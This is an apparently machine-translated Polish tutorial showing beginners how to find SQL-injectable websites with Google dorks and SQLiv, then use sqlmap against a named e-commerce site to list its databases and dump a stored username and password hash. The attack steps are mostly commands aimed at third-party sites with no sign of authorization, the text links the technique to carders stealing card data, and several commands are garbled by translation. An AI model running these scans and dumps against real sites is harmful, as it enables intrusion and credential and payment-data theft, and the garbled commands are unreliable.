Ale oprócz łatwości i funkcji oferowanych przez bazę danych, a także wiele zastosowań baz danych w świecie informacji i technologii, szczególnie w opracowywaniu strony internetowej. Nieustannie pentesters i hakerzy próbują znaleźć lukę w bezpieczeństwie bazy danych. Potwierdza to raport wydany przez pozytywnych naukowców z technologii, centrów badań bezpieczeństwa informacji w Europie, w drugim kwartale 2017 r., 10 najlepszych ataków aplikacji internetowych było zdominowanych przez 39.1% i wstrzyknięcie SQL 24.9%. Pozytywne technologie stwierdziły, że raport w drugim kwartale nie różni się od pierwszego kwartału.
Rysunek 1. 10 najlepszych ataków aplikacji internetowych (źródło PTSecurity.com)
Jest to zarówno interesujące, jak i niepokojące, ponieważ w bazie danych istnieje wiele informacji, takich jak rachunki poświadczeń (administrator i użytkownik), dane dotyczące informacji finansowych (takie jak karty kredytowe, konta bankowe itp.) i tak dalej. Ponadto, aby wykonać ataki wtrysku SQL, nie zawsze wymaga eksperckich możliwości wstrzykiwania, w tym sensie dzieci mogą to zrobić. Ponieważ istnieje wiele bezpłatnych aplikacji, które mogą automatycznie wykonywać wtrysk SQL, takich jak SQLMAP. SQLMAP to aplikacja typu open source do testów penetracji, której celem jest automatyczne przeprowadzenie ataków wtrysku SQL w otworze bezpieczeństwa bazy danych. Tutaj pokażę, jak zrobić wtrysk SQL za pomocą SQLMap w Linux Kali. Nie są wymagane żadne specjalne możliwości, ale będą warte więcej, jeśli opanujesz język scenariuszy lub technologię bazy danych SQL.
Ten samouczek jest zalecany dla tych, którzy są nowi w iniekcji SQL w Kali Linux, tylko dla zabawy, lub którzy chcą zobaczyć, jak działa wtrysk SQL. Nie jest to zalecane, że są już wysoce wykwalifikowani testerzy penetracji.
Cześć, jestem Bimando, autorem tego artykułu. Jeśli podoba Ci się ten artykuł, zapoznaj się z zakupem mojej książki praktyczne hakowanie etyczne: dla testerów penetracji z Kali Linux. Ciężko nad tym pracowałem z zespołem wskazów Linux, aby wyprodukować wysokiej jakości produkt, który wiem, że pokochasz go i dużo się nauczysz.
Wtrysk SQL za pomocą SQLMAP w Kali Linux
Zanim wykonamy atak wtrysku, oczywiście musimy upewnić się, że serwer lub cel ma otwór bezpieczeństwa bazy danych. Aby znaleźć otwory bezpieczeństwa bazy danych, możemy użyć kilku metod, których możemy użyć. Wśród nich Google Dorking jest używany głównie przez testerów hakerów i penetracji. Na szczęście istnieje narzędzie, które jest w stanie to zrobić automatycznie. Ale musimy najpierw zainstalować jego narzędzie. Narzędzie nazywa się SQLIV (skaner podatności na podatność wtrysku SQL).
Krok 1: Zainstaluj SQLIV na Kali Linux
Wpisz polecenia poniżej w terminalu, aby zainstalować SQLIV:
~# git klon https: // github.com/hadesy2k/sqliv.git
~# CD SQLIV && sudo Python2 konfiguracja.py -i
Po zainstalowaniu SQLIV w Kali Linux, jest przechowywany na ścieżce /usr/bin/sqliv. Które możesz wywołać bezpośrednio z terminala, wpisując „sqliv”. Teraz spójrzmy na funkcje SQLIV.
Krok 2: Znalezienie luk wtrysku SQL
Użyjemy Google Dorking do skanowania i znalezienia otworu wtrysku SQL w celach. Weźmy prosty dowcip i pozwól SQLIV skanować każdy cel i poszukaj podatności na e -commerce w następującym wzorze URL „element.php?id = '. Aby znaleźć inne wzory, po prostu Google dla „Google Dork List”.
~# sqliv -d inUrl: pozycja.php?id = -e Google -p 100
Domyślnie SQLIV będzie pełzał pierwszą stronę w wyszukiwarce, która na stronie Google 10 na stronę. Zatem tutaj definiujemy argument -P 100 do czołgania się 10 stron (100 witryn). Na podstawie podanego powyżej Dork otrzymaliśmy wynik wrażliwych adresów URL, które wyglądają tak:
Znaleźliśmy osiem setek URL zeskanowanych i uważanych za wrażliwe na atak wtrysku SQL. Zapisz adresy URL w edytorze tekstu, aby uzyskać dalsze kroki.
Krok 3: Wtrysk SQL za pomocą SQLMAP
Po uzyskaniu przynajmniej jednego wrażliwego celu SQL, następnie wykonujemy atak za pomocą SQLMAP. Uważam, że jeden z nich był próbką tutaj. Po pierwsze, musimy ujawnić nazwę bazy danych, wewnątrz bazy danych ma tabele i kolumny, które zawierają dane.
URL docelowego: http: // www.Acfurniture.com/element.php?id = 25
Wzór poleceń:
~# sqlmap -u „docelowe URL” - -DBS
-u / --url: URL Target
--DBS: Wymień nazwę bazy danych/s
Więc skompilowane polecenie wyglądałoby tak:
~# sqlmap -u „http: // www.Acfurniture.com/element.php?id = 25 ” - -DBS
Z powyższego polecenia wynik powinien wyglądać tak
Mamy nazwę bazy danych „Acfurniture".
Wzór poleceń:
~# sqlmap -u „docelowe URL” -D -nazwa bazy danych -tabele
Zatem komenda jest taka:
~# sqlmap -u "http: // www.Acfurniture.com/element.php?identyfikatory = 25 "-d Acfurniture -tabele
Wynik powinien wyglądać tak:
Jak dotąd możemy stwierdzić, że rozmieszczenie danych jest witryna Acfurniture.com ma dwie bazy danych, Acfurniture I Information_Schema. Nazwana baza danych Acfurniture Zawiera cztery tabele: kategoria, produkt, produkt_hacked, I Ustawienia. Nie ma zagrożonej nazwy tabeli, ale zbadajmy więcej. Zobaczmy, co jest w środku Ustawienia tabela. Wewnątrz tabeli znajdują się w rzeczywistości kolumny i dane.
Wzór poleceń:
~# sqlmap -u „docelowe URL” -D -NAME -T -t -TABLE -Nazwa -kolumny
Zatem komenda jest taka:
~# sqlmap -u "http: // www.Acfurniture.com/element.php?Id = 25 "-d Acfurniture -t Ustawienia -kolumny
Wyjście powinno wyglądać tak:
Ustawienia Tabela składa się z 6 kolumn, I to właściwie konto poświadczeń. Zrzućmy te dane.
Wzór poleceń:
~# sqlmap -u „docelowy URL” -D -nazwa -Nazwa -t nazwa tabeli -C -c kolumny - -Dump
Zatem komenda jest taka:
~# sqlmap -u "http: // www.Acfurniture.com/element.php?id = 25 "-d Acfurniture -t Ustawienia -C nazwa użytkownika, hasło -Dump
Lub możesz również zrzucić wszystkie dane w tabeli za pomocą polecenia:
~# sqlmap -u "http: // www.Acfurniture.com/element.php?id = 25 "-d Acfurniture -t Ustawienia - -Dump
Wyjście powinno wyglądać tak:
E-mail : [email protected]
Nazwa użytkownika : Przystojny
Hasło : 9HPKO2NKRHBGMYWZIZXUI
W porządku, skończyliśmy zrzucanie danych w bazie danych za pomocą wtrysku SQL. Nasze kolejne zadania są, aby znaleźć drzwi lub panel administracyjny, strona logowania administracyjnego na stronach docelowych. Zanim to zrobisz, upewnij się, czy to hasło (9HPko2NKRHBGMYWZIZXUI) jest szyfrowane, czy nie, jeśli tak, to musimy je najpierw odszyfrować. To jest kolejny temat, pękanie i odszyfrowanie.
Nawet tutaj nie hakujemy na stronie docelowej, przynajmniej wiele się nauczyliśmy o iniekcji SQL za pomocą SQLMAP w Kali Linux i zrzucamy konto poświadczeń. Ta technika jest używana głównie przez Cardera (haker, który szuka konta kart kredytowych na witrynach e-commerce), które są ukierunkowane na witryny finansowe, bankowości, sklepu lub e-commerce, które przechowują informacje o karcie kredytowej użytkownika.